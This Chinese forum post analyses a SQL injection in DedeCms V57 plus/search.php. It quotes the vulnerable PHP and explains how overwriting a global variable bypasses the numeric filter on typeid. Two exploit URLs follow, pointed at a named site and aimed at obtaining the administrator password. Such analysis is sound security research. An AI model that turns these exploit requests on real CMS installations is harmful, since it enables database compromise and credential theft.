DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.作者: c4rp3nt3r@0x50sec.org
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
============
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
require_once(dirname(__FILE__).”/../include/common.inc.php”);
require_once(DEDEINC.”/arc.searchview.class.php”);
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
if(!isset($orderby)) $orderby=”;
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
if(!isset($keyword)){
if(!isset($q)) $q = ”;
$keyword=$q;
}
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
//查找栏目信息
if(empty($typeid))
{
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
{
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
fwrite($fp, “<”.”?php\r\n”);
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
$dsql->Execute();
while($row = $dsql->GetArray())
{
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
}
fwrite($fp, ‘?’.'>’);
fclose($fp);
}
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
//
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>//这个地方要绕过
if($keyword != $keywordn)
{
$keyword = $keywordn;
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
break;
}
}
}
}
然后plus/search.php文件下面定义了一个 Search类的对象 .
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$this->TypeLink = new TypeLink($typeid);
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
class TypeLink
{
var $typeDir;
var $dsql;
var $TypeID;
var $baseDir;
var $modDir;
var $indexUrl;
var $indexName;
var $TypeInfos;
var $SplitSymbol;
var $valuePosition;
var $valuePositionName;
var $OptionArrayList;//构造函数///////
//php5构造函数
function __construct($typeid)
{
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$this->indexName = $GLOBALS['cfg_indexname'];
$this->baseDir = $GLOBALS['cfg_basedir'];
$this->modDir = $GLOBALS['cfg_templets_dir'];
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$this->dsql = $GLOBALS['dsql'];
$this->TypeID = $typeid;
$this->valuePosition = ”;
$this->valuePositionName = ”;
$this->typeDir = ”;
$this->OptionArrayList = ”;
//载入类目信息
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
`#@__channeltype` ch
on ch.id=tp.channeltypeWHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
if($typeid > 0)
{
$this->TypeInfos = $this->dsql->GetOne($query);
利用代码一 需要 即使magic_quotes_gpc = Off
www.political-security.com/plus/search.php?typeArr=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
这只是其中一个利用代码… Search 类的构造函数再往下
……省略
$this->TypeID = $typeid;
……省略
if($this->TypeID==”0″){
$this->ChannelTypeid=1;
}else{
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
//现在不鸡肋了吧亲…
$this->ChannelTypeid=$row['channeltype'];
}
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
www.political-security.com /plus/search.php?typeArr=11&&kwtype=0&q=1111&searchtype=title
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
页:
[1]